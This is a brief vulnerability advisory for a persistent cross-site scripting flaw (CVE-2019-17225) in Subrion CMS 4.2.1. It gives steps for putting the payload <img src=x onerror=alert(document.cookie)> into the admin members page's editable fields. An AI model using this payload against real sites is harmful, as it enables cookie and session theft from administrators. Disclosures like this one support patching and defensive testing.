Subrion 4.2.1 Cross Site Scripting

`# Title: Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting  
# Date: 2019-10-07  
# Author: Min Ko Ko (Creatigon)  
# Vendor Homepage: https://subrion.org/  
# CVE : https://nvd.nist.gov/vuln/detail/CVE-2019-17225  
# Website : https://l33thacker.com  
# Description : Allows XSS via the panel/members/ Username, Full Name, or  
# Email field, aka an "Admin Member JSON Update" issue.  
  
First login the panel with user credential, Go to member tag from left menu.  
  
http://localhost/panel/members/  
  
Username, Full Name, Email are editable with double click on it. Insert the  
following payload  
  
<img src=x onerror=alert(document.cookie)>  
`